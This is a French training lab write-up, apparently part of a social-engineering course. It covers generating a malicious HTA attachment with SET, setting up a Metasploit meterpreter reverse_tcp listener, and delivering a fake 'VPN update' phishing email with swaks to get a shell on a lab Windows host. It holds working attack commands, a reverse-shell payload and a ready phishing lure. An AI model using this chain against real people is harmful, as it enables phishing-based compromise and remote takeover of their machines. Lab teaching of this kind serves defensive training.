Skip to main content

Payload HTA

621 words·3 mins·
social-engineering - This article is part of a series.
Part 4: This Article

Payload HTA
#

TP du module Social Engineering : générer une pièce jointe HTA (HTML Application) avec SET, coupler un listener Metasploit, et obtenir un shell sur WS01 lorsque la victime ouvre le fichier.

Prérequis : lab et SMTP mail opérationnels — voir Get Started et Spear Phishing.

Important : le fichier HTA exécute du code sur la machine victime. Restaurer le snapshot WS01 après le TP.


1. Rappel — pourquoi le vecteur HTA ?
#

ConceptDétail
HTAFichier .hta exécuté par mshta.exe — traité comme une application locale, pas une page web
IntérêtContourne les anciens drive-by ; fonctionne encore en lab sur Windows 10/11 si l’utilisateur ouvre la pièce jointe
Vecteur SETWebsite Attack Vectors → HTA Attack Method ou Spear-Phishing avec génération HTA
MITRET1204.002 — User Execution: Malicious File, T1059.005 — Visual Basic

Les applets Java et exploits navigateur automatiques sont obsolètes ; le HTA reste un vecteur pédagogique pertinent pour illustrer « l’utilisateur a ouvert la pièce jointe ».


2. Préparer le listener Metasploit
#

Terminal 1 — sur Kali :

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.10
set LPORT 4444
set ExitOnSession false
run -j

Vérifier que le job écoute :

jobs

3. Générer le payload HTA avec SET
#

Terminal 2 — sur Kali :

sudo setoolkit
1) Social-Engineering Attacks
2) Website Attack Vectors
7) HTA Attack Method

(Le numéro du menu HTA peut varier selon la version SET — chercher « HTA » dans la liste.)

InviteValeur
IP du listener192.168.56.10
Port du listener4444
Nom du fichier généréVPN_Update.hta (défaut ou personnalisé)

SET place le fichier dans son répertoire de sortie (souvent /root/.set/ ou chemin affiché à l’écran).

sudo ls -la /root/.set/
sudo cp /root/.set/VPN_Update.hta /tmp/VPN_Update.hta
sudo chmod 644 /tmp/VPN_Update.hta

Servir le fichier pour téléchargement ou pièce jointe :

cd /tmp && python3 -m http.server 8888

4. Livrer le HTA à la victime
#

Option A — Pièce jointe email (spear phishing)
#

Avec swaks et Mailpit :

swaks --to user1@labcorp.local \
  --from it-support@labcorp.local \
  --server 192.168.56.10 --port 1025 \
  --header "Subject: Mise à jour VPN — action requise" \
  --body "Veuillez exécuter la mise à jour jointe sur votre poste." \
  --attach /tmp/VPN_Update.hta

Option B — Téléchargement manuel (TP simplifié)
#

Sur WS01, ouvrir Edge et télécharger :

http://192.168.56.10:8888/VPN_Update.hta

5. Exécution côté victime
#

  1. Sur WS01, ouvrir le fichier VPN_Update.hta (double-clic — comportement victime simulé)
  2. Une invite ou une fenêtre peut s’afficher brièvement
  3. Sur Kali, vérifier la session Metasploit :
sessions -l
sessions -i 1

Dans le meterpreter :

getuid
sysinfo

Preuve de succès :

Server username: WS01\user1
OS              : Windows 10/11 ...

6. Dépannage
#

ProblèmePiste
Pas de sessionVérifier LHOST = IP host-only, pas NAT ; pare-feu WS01 désactivé
Fichier bloquéTélécharger via HTTP plutôt qu’en pièce jointe ; SmartScreen désactivé en lab
Port 4444 ferméss -tlnp | grep 4444 sur Kali
HTA non généréMettre à jour SET : sudo apt update && sudo apt install --reinstall set

7. Grille de TP
#

#TâcheCritère de réussite
1Listener Metasploit actifjobs affiche le handler
2Générer le HTA via SETFichier .hta présent
3Livrer le fichier à WS01Email ou téléchargement documenté
4Obtenir une sessionsessions -l non vide
5Proposer 2 mitigationsBlocage HTA (ASR), formation pièces jointes, EDR, macro/LOLBins

8. Suite de la démarche
#

Phase actuelle : Payload HTA — exécution de code via pièce jointe.

[✓] Mise en place  →  [✓] Harvester  →  [✓] Spear Phishing  →  [✓] HTA  →  [●] QR  →  [ ] Rapport

Étape suivante : QR Code / Smishing — même harvester ou payload, livré via un QR code.

Références :

social-engineering - This article is part of a series.
Part 4: This Article